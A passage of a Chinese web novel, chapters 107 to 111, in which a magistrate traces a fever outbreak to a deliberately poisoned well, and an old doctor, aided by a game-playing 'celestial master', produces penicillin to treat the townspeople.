“李老,您便是负责陶瓷厂的总负责人吧?您在这边签个字,以后有关陶瓷厂方向的招工或者任何消息,都可以找我们,之后我们便会将这些消息登记在报纸上公告给所有人。” 李老先前想的是见到这负责人后定要好好阴阳一下对面,但这会,相比于阴阳对方,他更想知晓她身上到底是发生了什么事,为何已经死去的人,摇身一变,反而成为了报社的总负责人? 先签好了字,李老沉吟着开口:“白小娘子有一事老夫确实有些好奇,若你感觉不方便回答直接拒绝老夫便是当初都说你已经被贼人所害,现在为何” 话还未曾说完,他便注意到对方原先略带尴尬的面庞顿时张扬了几分。 “李老,这事一时半会说不清楚,只能说仙师出现得及时,不仅救了我,更是委托我接下报社这活计,不过我还活着的这事,还望李老能替我保密,毕竟我还是很想多过一段时间的平稳日子。” 虽说只是简单的两句话,但如何能够瞒得过早就成为人精的李老? 有道是那厢白幡未撤,灵前香灰尚温,宅门张灯结彩,红绸漫卷。 先前就有传闻说那白家不做人,前妻刚亡便娶新妻,且那新妇对前妻留下来的孩子也是万般苛待,眼下结合白思妙的一番话语,李老不由地生出一股怒火。 他都不用用脑子想都知道那白家人做了什么事,无非是求个消灾。 原先就瞧不上这白家人做派,这会眼看着这家人遇到事了第一个抛弃的便是这手无缚鸡之力的小娘子,更是心头不屑。 若当日仙师不曾及时出现,这白小娘子可算是白白没了! 倒也是这苦命白小娘子还有几分运道在身上,遇到了仙师,这才能一改原先的命运。 叹了口气,李老缓缓离去,只是临走前留了一句话。 “老夫自然会为白小娘子保守秘密,不过依我看,白小娘子如今已有另一番大造化,和你父亲他们早就已不是一路人。” 白思妙自然懂李老的意思,——她现在还活着,且还活得这样肆意妄为,还贴近那位拥有着至高神权的仙人,若白家知晓的话,定会后悔得肠子发青,若想为原先报仇,她完全可以高调回归,让白家人日夜生活在她何时动手的恐惧之中。 但眼下,白思妙知晓事情的轻重缓急,当下最要紧的任务便是将仙师交付给自己的报社开办好,而后的话,才能轮到她的私人业务。 “李老又为何以为我不会动手?不过是时机未到。” 那道背影愣了愣,而后加快步伐离开。 已离开报社的李老在被白小娘子那蕴含深意的话惊讶后,倒是“顺路”路过白府看看情况。 眼看白府还一片岁月静好的模样,他就忍不住想笑。 ——好啊,好好珍惜这仅有的一点好日子吧,之后他倒是好奇那白小娘子会做出怎样的报复? 吃瓜成功的李老晃悠着离开。 与此同时,次日,报纸上便发布了一则足以轰动全县的消息。 ——陶瓷厂开业了!招收300名员工!日薪最低也为100文,上不封顶。 当然,拿100日薪的都是干着最基础活计的工人,像那些匠人们,获取的工钱可是要高得多。 除此之外,招工的工人有个硬性条件,那便是必须是扫盲班毕业的才有资格报名。 此消息一经刊登,这刊报纸在发行后便售空。 不少人举着报纸,几乎是用冲刺的速度回到家中,着急忙慌去整理仪表。 因这招收时间实在是紧迫,今日刚发的消息,明日便要截止! 若像原先的话,一则招工启事至少要贴个三五天才会有人过去应聘,但现在不同,因仙师旗下的工作待遇好是已被众人确定过的,所以别说明日截止,有可能今日去得迟了都截止了! 汪亮便是其中一员。 他已经失业许久,素日只能靠去打零工卖苦力赚点钱,这次是他偶然间在帮别人搬完了东西后,听到了本县招人的消息。 300人?且着重招收泥塑匠? 汪亮顿时一扫萎靡,来了精神。 他长得瘦小,原先便是靠着泥塑养活一家老小,但越往后,可能是因为大伙日子过得苦,陶瓷这些物什只要还能用便无人过来购买,再加上战火纷争,寻找泥塑匠建造房屋的大户们渐渐也没了消息。 就这样,不知道从那一日起,泥塑匠成了最无用的手艺人。 有时候汪亮自己都想笑。 原先他学泥塑时,那会泥塑是多火热的一行,瓷厂,建筑泥塑,干什么都不至于饿死。 但等他学出来后没几年,战争频繁,百姓忙着逃命,哪里还能有他发挥技术的机会? 汪亮也不知道自己是怎么活下来的,但一想到家中父母,妻儿,只能闷头去做苦力养家。 但不知为何,他做苦力了,但却没能赚到什么钱,家中依旧贫苦,妻子还要经常出门帮那些单身汉缝补衣物以维持生计,父母早就死去,一双儿女饿得皮包骨头。 为何,为何家中会成为如今的模样? 看着依旧贫苦,一眼望不到头的日子,汪亮便觉得心头浮现出一股说不清道不明的梗塞 赚钱,赚钱,还是要赚钱。 闷头苦干到那仙师降临那日,那一天全城的人都在议论那天外飞仙的缥缈身姿,只有他累得仿若下一秒就要去死。 后来醒来后,才从妻子口中得知,是那位仙师庇护了全县百姓,若没有仙师,风仙县早就被那贼子攻破,成为炼狱场。 自那日后,妻子便将神佛的画像换成了那位仙师。 隔着袅袅香火,汪亮跟着妻子,虔诚地跪拜。 ——若您真的能听到求仙师,求您救我 第108章 回应 祈求真的会得到神灵的眷恋么? 汪亮不清楚。 但在他如同以往一般身心疲惫结束一天的工作时,便意外听到了身旁几人的交谈。 “这报纸上写的可是真?新开的陶瓷厂竟要招收工人了,这一招便是三百个,其中尤其需要泥塑匠人,也不知那陶瓷厂到底要做什么东西?” “谁说不是?不过听说普通小工都招满了,只招那泥塑工匠了。” “这么快便满了?虽说咱们不是那泥塑工,但听说是普通小工日薪也有一百文,真不敢想那泥塑工日薪为多少。” 本县的陶瓷厂开业招收三百人?还特别招收泥塑工? 汪亮早就麻木的心被这番话刺破,而后不敢置信。 等到他晕乎乎地赶过去,顺利通过陶瓷厂的招聘后,走出厂子大门,汪亮忍不住捂脸痛哭 仙师是真的存在的对吧,他日复一日对着仙师祈求,祷告,而神明愿意怜悯他一次。 本以为神明高高在上,岂会听到他这一蝼蚁哀求,但事实上,一切就像是做梦一样展开了。 作为一个熟手泥塑匠人,陶瓷厂给出的工资是日200文,汪亮满意得不得了,毕竟他原先最好的时候也不过一日一百多文,但大部分没有活计时,每日不过最多几十文而已。 若是专门为那达官贵人做泥塑的工匠,一年赚个几十两,甚至上百两也不成问题。 但大部分的野生泥塑匠人,平时不过就是捏点家用的东西,或者泥偶什么的,最好的时候,也不过是去给富户专门请过来的泥塑大师添把手。 汪亮其实手艺已经要比普通泥塑匠要精进许多,有时候他前往那富户家中,给那些泥塑大师添把手时,那些大师有时候懒了些,甚至将他捏好的东西放在不显眼处,充当自己捏的成品。 原先的话,汪亮靠着这等手艺,捏出来的其他泥人倒是还卖得还算可以,毕竟他手巧,捏出来的栩栩如生,但当这个行业整体不行的时候,一个人是无法阻挡行业的衰落的。 眼下顺利进入陶瓷厂,汪亮已经觉得这是仙师保佑的结果了,毕竟旱涝保收,且陶瓷厂的负责人说过,每周均有两天休息时间,每日仅需上工四个时辰,若多出来时辰,便按照加工计算工钱。 这等福利待遇若是还不满意,可谓是太贪心了。 汪亮兴奋得踩着月光赶往家中,而当他推开门,打算将此事告知妻儿后,却发觉家中一片黑暗。 摸索着点开灯,汪亮这才注意到三人竟都躺在炕上,原先那三张略显枯黄的脸庞,此刻竟是烧得一片通红。 汪亮忙伸手去触,摸到的便是一阵滚烫 怎么回事,这是热症? 想来已是深秋,定是糟了风。 思及此处,汪亮顿时心中有所猜测,而后先是用凉布湿敷给三人。 汪氏挣扎着睁开了眼,看到是丈夫后,只是虚弱地点点头。 汪亮心中感觉不太对劲,毕竟平时的话热症哪里有这般严重? 再看看妻儿均是一副无精打采的模样,汪亮只能先去做点吃食给她们。 边煮小米粥,汪亮站在灶台,对着床上的妻子开口:“娘子,日后你不必那般辛苦了,我今日刚找到一工作,每日能拿两百文,还有别的福利什么的,等你和孩子病好了,到时候我带你们去吃好吃的。” 汪氏躺在床上,烧得迷迷糊糊,却也真心实意为丈夫高兴。 等闻到小米粥的味道后,汪亮已帮两个孩子擦拭好了身子,而后接着帮她擦拭。 她挣扎着想起身,却不料完全没力气。 只能虚虚地被丈夫扶起来,靠着墙壁喝粥。 等看着妻子躺下后,汪亮还是有些不放心,摸了摸孩子们和妻子的体温后,而后面色惨白。 ——感觉温度更高了,不行,看来必须要去买药。 拿着家中仅有的一些银钱,汪亮快步赶往县内的医馆,等他人到那处后,却发觉排队的人甚多。 一番打听后汪亮不免骇然。 竟然都是热症,且发病时间最早的也不过是昨日。 不少人愁眉苦脸地对着周围人大倒苦水。 “这热症可真是邪门,喝了两天的药还没用,不知道今日换个别的方子药效如何。” “我家那个也是,已经烧得说胡话了,但是眼下这些药都没用。” 汪亮听得一清二楚,原先就紧张的脸庞更是渗出细密的汗水。 ——怎会如此,明明才感觉脱离泥潭,妻子却先病了,且听这动静,病的人很多啊 而药堂内,不少大夫正忙着询问病症,开设药方。 但询问的人多了,这些大夫也逐渐琢磨到了不对劲。 热症的人竟然这般多?莫不是鼠疫? 但本城内并无鼠疫形成的条件,到底为何会出现这番症状? 稍稍一思索,众人不免不约而同地想到了同一件事。 他们风仙县承蒙仙师庇护,确实不曾遭到贼人杀害,但别的县域可就没有那般幸运了。 有可能,这鼠疫正是由别的县域传播而来。 毕竟那等贼人杀了人,定不会想着将死人尸体处置好。 而在这期间,若有老鼠蛇虫撕咬尸体,再流窜到他们风仙县内,可不就容易造成鼠疫? 思索到这可能性后,众人不免脸色惨白。 “此等大事轮不到我等做主,依我看,必须先告知县令大人,而后再告知方大夫才是。” 这话很有道理,毕竟鼠疫事关重大,若是处理不好,全城的人都有可能会死。 忙派人去将此事告知方县令,而另一人则是驾马直奔潜灵山,去寻方大夫回来主持局面。 夜半,方知意还在低头思索新政,门外便有“咚咚咚”极为急促的脚步声直奔她而来。 ——有事。 方知意先将匕首塞进衣袖,而后静待来人。 “哐当——” 这是门被急促推开的声响。 一股寒风倒灌进来,吹得烛火荡漾。 来人正是负县衙负责安保的官兵,方知意知晓这人,应当是叫杨二。 不等她先开口,这杨二单膝跪地,声音急切:“大人,方才那药堂内遣人递过来消息,说是城内疑似有鼠疫开始流传,大约时间是在昨天” 什么?!鼠疫? 方知意起身,而后不自觉抬高声音:“那药堂过来的人是否还在?快带我过去!” 此事兹大,杨二自然不敢多说话,忙带着方知意直奔前堂。 而等到了前堂,看到一大夫打扮的来人后,方知意不自觉地心头沉重 本县对于疾病预防她没少煞费苦心,为何城内却会突然出现此等灾情? 等听完这大夫的上报后,方知意不免沉思。 ——不可能,她早就想过此等可能,定期在本城周围撒石灰粉驱虫鼠已成为每周必做的事。 毕竟暂且没办法出去整理外面,但至少自家是一定要整理好的。 不过这话也不能说得太满,万一是哪处防护她做得不到位?有道是成功需要考虑方方面面,但失败的话,只需要一个点没做好便是全盘皆输。 先对前来送信的大夫表示安抚后,方知意派人送他回去,并且顺道让负责人先看看那边情况。 至于她本人,则是冷声下令官兵立即去城周搜查,看看是否有异样。 若按照她所想,真是驱虫鼠不到位的话,肯定会有被破坏的现场作为佐证。 各个官兵队伍倒是行动速度飞快,得亏这段时间她新提拔的副将,不然官兵素质依旧是难以提高。 几乎不到半个时辰,各个队伍倒是率先回报发现的情况。 “报告大人,我等仔细查找后,暂且未发现有不妥之处。” 听到这消息后,方知意不免心头沉默。 闭眼沉思片刻,方知意瞬时睁开双眼,冷声出口:“去挨个调查水源是否出了问题,尤其率先调查集中出热症的那一片区域。” 若边界线尚无入侵痕迹,那只有说看看是不是水源被有心之人污染。 这次的调查结果也很快便出来了。 因方知意行动迅速,几乎没花费太长时间,便从一水井内发现了一裹着包裹的物什。 虽说怀疑此物品有可能便是毒源,因此拆开包裹前,方知意特意命令负责此事的官兵穿上隔离衣物,而后先给包裹撒上石灰,彻底消毒后,这才让人隔着手套掀开包裹。 只掀开包裹的瞬间,一股难以形容的恶臭顿时弥散开来,这还是消过毒后的气味,在看清楚内容物为何后,方知意脸色震撼,而后立即命人放入更多的石灰粉进行消毒。 ——那竟然是一块被分解后的尸体,因尸体早就被浸泡得发白,其实对于想要辨认的话,根本是毫无用处。 除却打捞出来的此水井内有投毒现象,其余的水井不知道是因为投毒之人尚且来不及投毒,亦或是还没那个打算,总之别的水井倒是未曾发现有乱七八糟的东西混进去。 既已弄清楚原因,方知意不敢多耽误,想先将这消息告知仙师,但以往呼唤十分及时的仙师,此刻却未曾回复过她。 想必仙师是暂且有事,方知意转而去了药堂。 一是看看目前病人情况,二是看看方大夫是否回来,若回来的话,她则要将此消息告知对方,看看对方能否有新解法。 当然,除了控制城内疫情外,捉住这投毒者也是一件大事。 方知意很久没这么恼火过了,自接手风仙县后,她战战兢兢,日以继赴,为的就是想让百姓生活过得更好。 而眼下,一场投毒却不禁让她止不住地心寒。 第109章 青霉素 若问为何心寒? 方知意只想苦笑。 风仙县在她上任后严密防范城墙工事,城门口进出也管得异常严格,尤其是面对外地人,盘查得均是繁琐严格。 当初也有不少百姓觉得这样太麻烦,但方知意硬生生没松口。 一是为了避免刺客,亦或是卧底潜伏进来,二是避免城外流民携带传染病入城。 一般外地来的,必须要先去指定住所隔离三天,而后无事后才允许在本县及其下属村落内流通走商。 这样一来,投毒是外地人的可能性大大降低,毕竟无论是包裹,亦或是车马,人员,他们都进行了最为严格的检查。 对于本城居民的话,想来城墙官兵或许无意识间便会查得要松一些。 方知意眼神不自觉泛出异样的神色,若这投毒之人真是本县之人,那她必须要让此人知晓,背叛是绝对不被容忍的。 脑内划过这一想法,而后方知意先将命令传递下去,让分散开来几支队伍,负责捉捕这投毒之人。 至于她的话,人早就到了那药堂内。 药堂内病人比想象中多,那几位大夫上上下下跑动着,眼看十分着急的模样。 有人眼尖注意到方知意来了,这会忙小跑着过来就要跪拜。 方知意拦下他,询问病情。 此人这才苦笑道:“大人,现在病人太多了,我们药堂内的药物想必很快便会见底。 且更坏的是,这等热症不知为何用药完全无法退烧,好在是我等发现此病症不算急,病人还能多熬些日子,只能说等方老回来看看情况了。” 一番言论让方知意很快明白目前的状况到底是有多糟糕。 扫了一眼药物库存确实不多后,方知意立即派人去城内别的药铺调草药。 “若遇到借机涨价的,先解释一番,若无用的话,直接关押,而后听从审判。” 方知意冰冷的命令快速传递下去,跟在她身后的几支队伍直奔城内各个药铺。 看着一夜之间恍若变了个模样的风仙县,方知意心痛不已。 而与此同时,得知风仙县可能爆发鼠疫后,原先还在优哉游哉培育药草的一行人忙一个激灵,而后急匆匆带着这些日子他们在山上种植成功,且培育成熟的各种药材下山。 其余人先行一步,而方老却是满头大汗地紧盯着眼前这一幕。 ——快了,快了,他们几人潜心研究的“青霉素”有望成功啊! 这些日子他呆在这潜灵山内,除却采药,种植,炮制外,还经常去那集闻楼内借阅书籍。 原先只是有些好奇,想看看仙界的书籍内到底描述的是何种世界,但当他在其中发现其中的藏书竟然还有许多医学类书籍后,方老再也抗拒不了诱惑,一股脑地钻入其中研究开来。 在他反复观看仙界书籍时,不免心生感慨。 ——仙界书籍内描绘的治病之法是另一方向,不同于他们的向内调理,这些书籍内描绘的大都是先祛病灶,而后再缓缓修养身体。 因仙界和凡人定是不同,方老倒也不曾完全听信其中书籍,不过光是看看,便让他生出了不少原先不曾有过的新想法。 譬如在他看来,以后对于外伤的救治使用书籍内提过的方法显然更为合适。 且其中有不少药物的效果也深深吸引着方老。 而在这么多药物之间,方老却将注意力集中在最为有效,且按照目前来看,最容易培养获取的青霉素上。 若是他不曾看过这书籍,那么方老自认为自己就算是想破脑袋,也不曾能想到这些霉菌竟然对人体有好处,尤其是对于伤口感染后的愈合,或者体内有炎症的情况下。 按照书中所说,这青霉素可谓是有大作用,可真正做到将病人从鬼门关拉回来。 想想看若是真研究出了这等青霉素,他能救助多少人! 有时候人研究医术研究到不能精进一步时,便会想着去别的路途看看,毕竟殊途同归,或许另外的路走着走着,另一边就通了呢? 方老就是这个想法。 但起初在研究青霉素时,他便遭遇了不少困难。 而在诸多困难中,最让他头疼的便是如何快速分辨青霉菌,先前他将各种长着绿色霉斑的食物精心挑选出来,而后耐心将附着在上面的霉菌挨个收集起来,但稍微往后继续做下去,方老很快便察觉他收集到的不少并非青霉菌,或许是因为夹杂了其他杂菌的缘故,惹得他的实验总是难以跨过第一步。 本以为自己就算是卡技术也是出现在最后几步上,但方老没想到,他竟然在第一步就输了! 研究了好几天实在是没办法,方老舔着脸,去求助仙师去了。 当姜定看到游戏界面弹跳出来一则消息提醒后,顿时忍不住瞪大双眼。 啥?怎么就突然能够开始研究青霉素了? 这跨度是不是有些快了? 而且话说,一个古风游戏,出现青霉素是不是太不符合画风了? 但是话又说回来,这游戏有前车之鉴,混合画风或许是他们独特的游戏体验呢? 嗯,一定是这个原因,毕竟现在游戏市场实在是竞争激烈,不好混啊,要是没有噱头,可怎么吸引玩家啊! 抱着这种想法,姜定顿时就接收良好了。 先点开消息,等到看清楚这方大夫所需要的东西后,他试着点了点对方需要的探测器兼鉴定器那玩意能不能制作 其实说实话,姜定没报啥期望,毕竟按照以前他玩游戏的进度来计算的话,这个时期不应该出现类似青霉素研究这么逆天的工厂啥的吧? 但谁知道试着点了一下后,游戏竟然提醒他可以制作。???幸福来得太突然。 不管怎么样,白给的永远是最好的。 姜定赶紧点了制作,心想该不会是让他卡上BUG了? 越想越美滋滋,这会已经开始幻想上有青霉素的美好日子了。 而正等待仙师回话的方老则是有些紧张。 确实,他所说之话可能或许大概是有些离谱,但试试吧,万一呢? 本以为仙师或许不会惯着他,但令他没想到的是,仙师竟然出手帮忙了,且还给了他一个可以快速分辨霉菌种类的仙器。 当方老将这仙器持在手中,对准那些霉菌时,这仙器竟然会自发替他收集好青霉菌。 初次使用后便被这等神器惊呆了的方老顿时来劲了。 一时兴奋,他连着干了数天,竟是硬生生将青霉素试验推进到了二阶段。 二阶段内,他按照那本书籍所写,用的是大米汁和山芋汁混合而成的培养基,比例自然也如同那书中所写一致。 在培育阶段,方老自然想得相当周全,比如对于温度的把控。 很快,试验便进行到了三阶段,而后便是按照书中所写进行过滤,分离,草木灰吸附杂质等等操作。 值得一提的是,其中很多操作都是李老想到的代替手段,毕竟他看的书籍中所写的工艺,到底是和如今大炎朝所拥有的东西不相同。 如果想制作出那般逆天的青霉素,只能说他想办法去克服制作过程的困难。 很快,第一次试验结束了。 其实按道理是需要将此药先试用在动物身上,但仙师先前给的那个仙器可直接鉴定出成分是否有用。 于是乎,方老心潮彭拜地对着青霉素使用了鉴定功能,而后在听到鉴定不合格后顿觉浑身失落。 不过他仅仅是失落了片刻,而后便重新打起精神。 ——这等神奇之物,若是仅仅是试验一次便能成功,那岂不是太小看其中的难度了? 毕竟这可是仙界的书籍啊,反正他已经做好了失败多次的准备,区区一次失败算的了什么? 之后的日子里,方老研究青霉素自然也邀请了其余人,众人围着这青霉素苦苦研究数日,每次试验失败的话,便挨个寻找可能出错的地方,温度不对,或者是哪处手法不对,总之人多力量大,为加快速度,众人甚至用不同温度,手法分别做对比,看看最后到底哪个是走在正确的道路上的。 这一研究便研究到了现在。 其余人早就因为风仙县内鼠疫一事下山支援,而方老则是紧张地看着眼下最后两批的试验 若这两批试验里能成功一次,便算是他们掌握了那制作青霉素的方法,若真成功的话,到时候想必此物对县内久久不退的高热能有些作用? 抱着这样的想法,方老忍不住浑身颤抖。 他从未觉得等待的时间这般漫长,在伴随着一声清脆的声响后,预示着其中一试验已经结束。 方老小心翼翼地对准新出的试验成品使用了鉴定,心脏像是被一双巨手捏紧一般,简直要喘不过气来,当他瞪大双眼,想瞧瞧到底结果如何时,便听到了鉴定仪曾复述过千百遍的“不合格” 竟还是不合格,怎会如此。 方老有些大受打击,毕竟他们一行人已经将其中最有可能影响实验结果的种种因素全部试验了一遍,而如今仅剩的两组实验若是都失败后,至此以后,他们将无可以改进的方向。 人在面临大概率失败的结局前,都会变得踌躇不前,方老也是如此。 在听到提醒着实验结束的声响后,看着被承载着希望的试验成品,方老不由地手心出汗,手指忍不住颤抖。 不紧张是假的,若这次失败的话,他也没时间,也没思绪再继续研究了。 颤抖着将鉴定仪靠近实验成品,在等待宣判的短暂时间内,方老从未觉得如此煎熬又漫长。 “合格。” 第110章 解药 在听到这仿若天籁的声音时,第一时间,方老以为自己是在做梦。 毕竟失败的次数太多,他其实对这最后一次机会也是处于半绝望状态。 但谁能想到,竟然成功了? 方老不敢置信地看了看手中握紧的鉴定仪,等确定仪器显示的确实是合格后,还来不及激动,浑身先有些疲软。 太好了,若有此物的话,想必山下这不知名的热症可算是能有救了。 不过这只是实验的初始成功,若想将此物大批量用作于城内百姓身上的话,他必须加快速度培育出更多青霉素,而后才足够给众人使用。 想明白其中原委后,方老带上素日制作青霉素所需要的种种工具,打算下山大批量制作一批,用作救助百姓。 就在他还在打包东西时,眼前却赫然出现一道金色光门。 ——这是仙师知晓了山下发生的事,所以特意前来相助? 方老有些激动,他只在第一次来的时候用过这金色光门,此物具有传送之用,实乃神器。 这会到底是事关重大,方老顾不得多想,忙将制作青霉素所需的工具全都推入光门内,自己则是在最后挤了进去。 眼前泛起细密的金光,而后,他整个人浑身开始震颤,最后,轻飘飘地缓缓落在了某处。 再睁眼,光门化作金色光点离去,等光点完全散开后,他看到的便是风仙县新上任的新县令正端坐于主位。 这是方老第一次见到这位传说中的方县令,原先只是听人说八卦说起过这位,说她年纪尚小,却手段颇为严厉,这不知此人若再长大一些会是何种模样。 也有人说这方县令十分勤勉温和,如今风仙县可和原先王县令等人掌管的县城可是不同 说什么的都有,但大部分时候方老并不当回事,毕竟他一时半会也不回风仙县,只是醉心于研究青霉素而已。 那新上任的县令大人,又关乎他何事? 如今初次见到这位方县令,方老只觉得这位虽看着年纪小,但浑身却散发出一阵难以忽略的通天气度,有那么一瞬间,他竟然被这位看过来的冰冷目光激得忍不住抖了抖。 等再看过去时,却只能看到对方面颊带着微笑缓缓开口。 “想必您便是方老了,我听诸位大夫说方老您正处于研究青霉素的关键节点。 眼下方老突然现身,我猜测您定是研究成功了吧?” 虽说眼前之人出现得颇为诡异,但方知意到底也是知晓仙师手段的,所以并未惊讶。 身旁几人的话,哪怕原先也见识过仙师此等手段,但看到一场活生生的大变活人后,依旧忍不住惊呼一声。 但这些惊呼在发出瞬间后,均被他们死死地压在喉咙内,毕竟那端坐在上位的县令大人还不曾开口,他们可不想扰了这位的思绪。 等听清楚那位大人所说话后,几人顿时颇有些惊讶。 ——难不成说,那青霉素的研究还真成了? 一行人这会也顾不得考虑方老出场方式过于惊吓了,各个瞪大眼睛,等着他说话。 位于人群聚焦点的方老则是被周围连续砸过来的目光看得有些尴尬,但想到此刻制作青霉素比其余事情都要重要,缓缓从背后拿出实验成功的那一份青霉素来。 “大人睿智,料事如神,此便为成功的那份青霉素,不过这分量颇少,恐怕只能在一人身上暂做实验,看看是否能对此次热症有效。 若有效的话,老夫打算合众人之力,多批次生产青霉素救助百姓,若不幸无效的话,老夫愿以自身性命起誓,愿毫无保留地帮助风仙县跨过此次困境。” 方老这一番话结束后,方知意不免眼神微动 不愧是仙师看重的大夫,果然行为操守高尚无比,既对方已经有想法,且这想法和她所想也甚是相符合,不若放手让对方去做,毕竟方大夫在这方面可比她要精通许多。 “那便按方大夫所说去办,若有需求,可随时来寻求本官,不过这青霉素一物甚有神效,配方及制作方法方大夫定要好生保管,若此物落到了敌人手中,对仙师,对我等都是一场惨痛的打击。 还有便是,我希望方大夫能将这青霉素一物的制作方法写一份出来给我,也算作另一种保障手段。” 这话没人否定,毕竟谁都知道在战场上,这青霉素能做的事实在是太多了。 就像方大人所说,若此等神药落入贼人手中,只会平白增强贼人实力。 想明白其中关键后,几人互相换了个眼神表示了解。 眼看对话即将结束,方老不经意间扫过县令大人一眼,而后才后知后觉地发觉,县令大人实在是生得貌美,但很奇怪,见到方县令的第一眼,他脑内竟然对于对方的容貌无丝毫感官上的震撼,反而先被她那冷静的气质所折服。 思来想去,没想出为何的方老只能暂时放过自己,眼下他需要操心的事情太多,没必要将注意力放在这种细枝末节的事情上。 其实方老观察能力还算是很敏锐了。 当日方知意入城,高调以仙师亲派身份任命本县县令时,那浑身的异光并未消失,而是转化成为一种看不见,只能感受到的气魄跟随着她。 这份加成让方知意多了几分庄严神相,再加上她素日来所做之事,种种堆叠在一起,这才能成就如今一眼看上去便不凡的方县令来。 不过这种事玄之又玄,甚至就连方知意本人都不曾知晓。 而这方老倒是阴差阳错,莫名感受到了一丝丝怪异,但最终依旧将之视为正常。 等方县令人走后,方老一行人先去药堂找到一位愿意试试的病人,而后免费为对方进行救治。 若按照那书中所说,青霉素可以注射,亦或是口服。 原先方老等人便对这青霉素使用方式做了统一,一律定为口服及外用,毕竟他们目前技术还无法做到像那些书籍中所说的那般精细,自然也达不到注射使用的标准。 若不到浓度的青霉素口服或者外用的话,方老觉得对于病人来说,应当危险性是最小的。 几人合力先将那烧得不省人事的病人抬到床上,而后给他用了药。 在等待药效的过程中,方老一行人早已将先前制作青霉素的工具摆放妥当。 对于此物的原材料,也已经着手开始准备。 时间过得很快,一晃便到了下午。 方老注意到那服用了青霉素的病人先是眉目痛苦,而后额头开始出汗,最后神奇的事出现了,怎么也降不下去的高温,在运用了青霉素后,体温正以一个缓慢的速度往下降。 有效果! 甚至来不及看到最后,几人共同商量后,便决定先开始制作青霉素。 因人手不够,几人先去找了人手,而后默契地将其中不需要什么技术含量的活计分派出去。 若此刻有人能看到他们此时的模样,一定会被震撼到。 ——原先空置出来的院子被数百人挤得满满当当,每个人都在专心做着属于自己手头的活计,有烧火的,有拿纱布过滤的,总之干什么的都有。 而在这院子的屋内,作为青霉素研究的核心人员,方老正拿着鉴定仪,对准新制作出来的青霉素挨个看是否成功。 若显示合格的话,便可将此批次的青霉素收好,然后在县令大人派过来的官兵帮助下,将此物运送出去。 第一批青霉素顺利制作出来后,为避免热症交叉感染,方知意给每一片区设定了特定的领取地点。 每个派发点均有一队官兵负责现场纪律,而其余的官兵则分别被方知意派出去负责将此消息传递出去。 在听到热症可解后,几乎所有人的注意力均被吸引,而后各个朝着那分发药物的派发点直奔而去。 等他们到现场后,发觉每个领药之人均是间隔一米取药,虽觉得不理解,但众人也不敢忤逆身旁持刀而站的官兵们,各个规规矩矩地上前领药。 为确保每个人都能领取上药物,领药时,是按照户籍来领的,每人只有一人份,不允许出现多领,或者领了不用出手卖掉的情况。 于是便出现这样一幕—— 领到的人几乎是在拿到的瞬间便将那药物一口喝下去,还有人是给家人代领的,在领到后,这群人均是快步奔跑着离开,生怕被人抢走这救命药。 其实早在分药物时,官兵就说明了方知意的强硬态度。 ——若被官兵逮到有非法倒卖,或者恶意抢夺他人药物的,抓住立即处死。 若别人说这话可能大伙还能认为是警告,但若是那位方大人说出来的话,却无人敢将这话说成警告。 毕竟先前在调度草药时,有不开眼的试图将草药价格翻十倍售出,官兵劝阻后依旧如此固执,最后听说那人被当场拿下,所有东西充了公不说,人也被强势塞进大牢等待方大人处置。 想到先前这位大人那堪称冷漠的强硬手段,众人不免打了个寒战。 ——他们怎么敢啊,方县令可是杀了数百贪官,那段时间,嚎叫哭泣声不断,城内血腥味不曾散开过,最后也不知道是不是这位终于是杀够了,这才停止清缴贪官。 眼下全城大疫,这会还敢跳出来给这位大人添乱的,那便纯属脑子有毛病 不然何必在这个节骨眼作死?是生怕自己死得不够快? 分发药物足足分发了有七天。 前几天人是最多的,不过越往后,领的人数越来越少,最终到第七日时,无一人前来。《 》 110-120 第111章 赴死 确定各个区域都不曾还有人未曾拿到药物后,方知意下令撤走所有药物分发点,同时下达指令,若还有人不曾领取到的,可前往县衙领取。 前几日除却分发药物,方知意倒是不出意料抓到了那只行背叛之名的老鼠。 早在分发药物时,各个分发点表面上是只有一支队伍维持纪律,但实际上,还另外有一只队伍隐藏在暗处,这支队伍的职责便是观察在领药过程中会不会出现言行举止怪异的人。 一般情况下,去领药的人均是有些紧张,但整体状态是稍微放松的人,但在这其中却有一人行为鬼鬼祟祟,面庞多了几分恐惧。 这番古怪的姿态很快就吸引了埋伏着的队伍的警戒。 但为防抓错人后打草惊蛇,官兵并未出声,反而是继续关注着此人的行动。 他们注意到此人先是跟着领药的大部队领完了药,随后并未像其他人一样将药物喝下,反而是将药塞进口袋里扭头就跑。 虽说也有不少人也是这番作态,但结合先前此人紧张的模样,官兵立即跟了上去。 等跟到目的地后,看着此人钻进一房子内后,众人暂且埋伏下来。 一直到第二天,这人都不曾出来,负责埋伏的官兵本以为此行或许要无功而返时,便注意到那大门口有个人影在晃悠。 这么晚了,除非有要紧事,一般情况下谁都不会随意出门的,尤其是最近疫情传播广泛,城中百姓互相躲避都来不及,更何况是主动出门? 那人鬼鬼祟祟地出了门,直到来到了一看着还算精致的宅子外敲门。 等到里面开门将此人迎进去后,负责追踪的官兵示意一人先将此处情况回报给县令大人。 很快,方知意便携带一众官兵,将这府宅暗中包围。 随后,一众人便静悄悄地闯入进去,随后便将正在交易的二人捉了个当场。 被逮住时,这两人谈论的事,方知意早在门外听了个大概,等确定这二人与那投毒案件脱不了干系时,她冷脸挥手示意逮人。 几乎就是瞬间,其内的主犯二人,以及负责伺候的两人也均被强行按压着跪倒在地。 被抓住时,这两人是禁不住地瑟瑟发抖,面庞因为恐惧早就扭曲。 本想求饶,但在看到县令大人仿若看死人一样的眼神后,二人想求饶的话顿时咽了下去,此时竟忍不住汗湿后背。 完蛋了,这次一定要死了,原先就曾听说过新县令出手狠辣,为何他们非要被那巨额钱财迷失了眼,非要试图去挑战新县令的忍耐力? 想到先前那段时间日夜徘徊在耳畔的惨叫声,和出门都会嗅到的若有若无的血腥味,二人忍不住面色泛白,而后有一人身下竟传来一阵骚腥味——竟然被吓得尿了一□□。 这气味甚是刺鼻,但在场所有人均是忍不住蹙鼻屏息,倒是方县令面庞不曾变了颜色,一张面庞端得是风雨不变,但那对瞳仁却不自觉变得漆黑。 若有熟悉她的人在场便会知晓,这是她极度恼火才会做出的反应。 只不过现在作为县令,必须要面不改色罢了。 不过此刻,方知意心里想的却是刚才她听到的话。 ——果真如同她所想,这二人是联合外敌共同下毒,但城外和此二人联系的敌人尚且未曾捉住,得想个办法将对方钓出来才是。 毕竟这次风仙县受到了此等暗算,若没有方老等人力挽狂澜,这莫名其妙的热症不知道要带走多少无辜百姓的生命,若这个亏不声不响地吃了,那便是算她作为县令的重大失责。 将思绪调离出来,方知意给身旁拿着户籍的官员一个眼神。 